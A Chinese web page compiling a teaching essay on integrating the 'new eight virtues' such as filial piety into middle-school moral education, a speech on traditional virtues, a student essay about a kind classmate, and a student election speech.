本框题要弄清第二个重要问题是怎样孝敬父母的问题，这一问题教师可以结合《弟子规》中的入则孝进行教学，把古人孝敬归纳为尊亲、弗辱、能养三个层次与“三养一心”结合起来，让学生懂得孝敬父母谨身节用，分担家务，减轻父母的经济负担和生活压力。“衣贵法，不贵华，上缘分，下称家”我们在穿戴上不要追求时髦，花钱大手大脚，让父母为难，能穿就行，上学或出门要去的地方是近路一定要自己走路或骑自行车，远路能坐公共汽车，就不要坐出租车，在外吃饭要吃便宜的。能保证卫生和吃饱饭就行。不要随便吃零食，学习用品没有完成还没有坏一定要接着用，决不可扔掉浪费，为减轻父母的生活压力，让父母少受点累，在家要多为父母分担家务，如帮助父母打扫室内外卫生、洗衣服、买菜、洗碗、打洗脚水、照顾爷爷奶奶等。帮父母多做力所能及的活。让学生懂得孝敬父母。从我们一来这个世间，父母的身心都操在我们身上，不管我们走到哪里，我们的好坏都牵动的父母的心，有一首《游子吟》诗说得好：“慈母手中线，游子身上衣。临行密密缝，意恐迟迟归，谁言寸草心，报得三春晖。”《弟子规》说：“身上伤，贻亲忧，德有伤，贻亲羞。”所以，天冷了父母嘱咐你要多盖被子，出门要多穿衣服，免得受风寒生病，让父母担心;在学校要好好学习，听老师的话，不做坏事，不打架，不欺负同学，不畅谈，不打游戏机，不做任何违纪违法的事等等，不让父母为你操心;不与社会上不道德的人交往，不赌博，不喝酒，不吸烟。放学不在外面逗留，不去色情和网吧场所，晚上不外出，不做任何有损父母脸面伤德中让父母蒙羞。普天之下，哪个父母不“望子成龙”、“望女成凤”，这是天下所有父母的共同心愿。
这种创新教研模式可以推广至全县各校。除了与新“八德”教育中的“孝亲”相融合外，初中思想品德教材教学内容可以跟新“八德”教育的其余七个主题相融合即：九年级《实现我们的共同理想》和《选择希望人生》与“立志”;八年级上册《老师伴我成长》与“尊师”; 八年级上册《同学·朋友》与“友学”;八年级上册《心有他人天地宽》与“仁爱”;八年级上册《诚信做人到永远》与“诚信”;七年级下册《做知法守法用法的人》与“守法”;七年级下册《做自尊自信的人》与“谨行” 相融合。
总而言之，人无德不立，国无德不强，人无法不立，国无法不治。把新“八德”教育贯穿于思品课教学中，可让学领略到中华传统文化魅力，不断受到传统文化的熏陶，以古圣先贤为榜样，潜移默化，同时思品课教师要贯彻理论联系实际原则，结合学生身边社会实际和生活实际，以身作责，言传身教，相信这样的思品课必将能真正弘扬中华传统文化和发挥其所应有的德育功能，必将会对学生思想品德素质的提高产生积极影响和作用。
《易经》中说：“天行健，君子以自强不息;地势坤，君子以厚德载物。”作为一个中国人，让我们倍感自豪和骄傲的就是我们的传统美德和民族精神。人定胜天、锐意进娶浩然正气、居安思危、爱国爱民等等，始终是我们民族脊梁们在不断变化着的社会政治实践中面对各种矛盾和危机，逐步积累起来的对国家和民族命运的自觉意识。这种自觉意识以危机感为基础，寄托着以天下为己任的强烈的历史使命感，从而汇聚成中华民族爱国主义的长江与黄河，在世界的东方一路前行。同学们，作为祖国未来的建设者，承继传统美德 弘扬民族精神，我们义不容辞。我从以下两方面与同学讲讲。
一. 勤学、好问
中华民族文化遗产极为丰富，这与古人的勤学是分不开的。锥刺股是先秦纵横家苏秦好学的.故事。苏秦为吸取广博知识，夜以继日发愤苦读，当困乏时，以锥子刺腿，用来振奋精神，坚持学习。杜甫的“读书破万卷，下笔如有神”，苏轼的“退笔如山未足珍，读书万卷始通神”，都说明勤学的道理。
读书光好学还不够，还需善疑好问。孔子从小入太庙“每事问”。他主张“疑思问”，“不耻下问”。荀子把“不知则问”和“不能则学”相提并论。王充更是“智能之上，不学不行，不问不知”。他们都把学和问联在一起。不学不问怎能成为学问家，学贵在问，这样才能有所提高，有所超越。
由此看来，勤学好问对我们中学生来说是尤为重要的。这就要求我们在学习中多思考，大胆质疑，逐步形成勤学好问的良好品德。
二. 敬长、知礼
敬长也是中华民族的传统美德。李大钊曾说过：“......我不主张儿子对自己行孝 ，可是我疼爱自己的老人，因为他抚养了我，教育了我，为我付出过很大的心血，疼爱自己
的老人这是人之常情 ”。而今天敬长传统美德更应提倡和发扬，这是现代社会公民应有的风范。
中华民族自古以来就有知书达礼的传统美德。“虚左以待”“程门立雪”“三顾茅庐”等等以礼相待的成语和典故，在历史上广为传诵，深刻反映了这一点。知礼，讲礼，对人彬彬有礼，体现了对他人的尊重，是保持人们正常关系的准则。知礼讲礼的人大多以他人为重，以社会为重。能真诚待人也正是一个人高尚情操的表现。试问那些对长辈出言不逊，对朋友态度粗暴，公共场所横冲直撞的人，能体现出是一位有文化，有教养，懂礼貌，讲文明的人吗?当今社会，文明礼貌、文化素养对一个人一个民族来说是至关重要的。物质文明上去了，精神文明却衰退 ，与一个有“礼仪之邦”之称的民族，与一个进行现代化建设的民族相容吗?对学生进行文明礼貌教育，是提高中华民族的思想境界和文化素质的关键所在。
一个国家必须要有自己的国魂，一个民族必须要有自己的精神，才能把全民族的智慧集中起来，形成无比强大的精神力量和物质财富。中华民族几千年延续下来的爱国、气节，奋发、立志，改革、创新，勤学、好问 ，勤俭、廉正，敬长、知礼等传统美德体现了中华民族的国魂和精神。
同学们，承继传统美德 弘扬民族精神，让我们为拥有一座美丽的精神家园而自豪，让我们的心灵永远在这里栖息、成长，让我们的生命焕发美德和精神的光彩，让我们每一个多伦人都文明、高雅、有气度、有风范!
更多相关文章推荐：
1.小学生新八德演讲稿600字
2.小学生新八德演讲稿最新推荐
3.小学三年级新八德演讲稿精选
4.精选新八德尊师演讲稿
5.践行新八德主题演讲稿
6.学校践行新八德演讲稿精编
7.践行新八德教育演讲稿
8.新八德演讲稿600字
9.最新学校新八德演讲稿
10.教师新八德演讲稿【优秀篇】
敬爱的老师，亲爱的同学：
刚到这个新的班团体七年级六班，我结识了许多新的教师和新的同学，我就此有了不少经验和感受。
但了这个班团体我认识了一个新的朋友，她很善良，学习又好，她就是常常把我的孤单分解掉，换成开心的艾森巴提。
先让我介绍一下我的这个好朋友吧。她虽然不是托里毕业的，从裕民县转来的，但她却在这个班里那么快就认识了全部人，是多么有吸引力呀。
而我比较欣赏她的善良，她在我们班里有人遇到困难就会出手相救，一次我早上没有吃饭，就迫不及待地去了学校，在做体操是，我的肚子忍俊不禁的咕咕叫了起来，我对时就得很尴尬，可是做完了操后，艾森巴提却拉着我去了商店，但我这如饥似渴的样貌不敢进去，但在她的逼于之下我终究进了商店，可是，奇怪的是她买了两个东西，我认为她也如同我一样没有吃早饭，我想一问便知，果然不出我所料，突然，她向我递了一个面包，我居然什么都没说，狼吞虎咽地吃了起来，这时我心里便一片温暖，肚子也不咕咕叫了，我从中感受到了有东西与别人分享是多么愉快呀。
艾森巴提，她不但善良，也有更多优点，如她性格温和而又有些时候脾气暴躁，有着双重性格。但我喜欢她的温和性格，因为在她温和的一面里的微笑是我的痛苦化解为了开心，使我一天都因她的微笑而开心，面目笑容。
我的新朋友就是艾森巴提。就是面带笑容，善良又可爱的艾森巴提。说到可爱，她可爱的地方也多了，如说话时的甜言蜜语，微笑时的面容，以及她走的每一步，都是那么可爱。
敬爱的老师亲爱的同学们：
大家好！
我今天参加优秀三好学生的竞选，感谢大家给我这个机会，不管结果如何，我都会好好学习，提高自己的能力。
我竞选的理由：
第一：我学习成绩优秀，虽然我不是最好的，但我很努力，我不仅自己学习成绩好，还帮助其他同学。
第二：在学校严格要求自己，讲文明，有礼貌，讲团结，有信心。
第三：我积极参加各种体育活动，成绩优秀，有自觉锻炼的好习惯。
假如，我被选上，我会更加严格要求自己，好好学习，假如我没有被选上，我会更加努力，提高自己，不求最好，只求更好。请大家给我一次锻炼的机会，为我投上你的一票。
谢谢!!!
★ 新龟兔比赛作文
★ 新岗位竞聘演讲稿
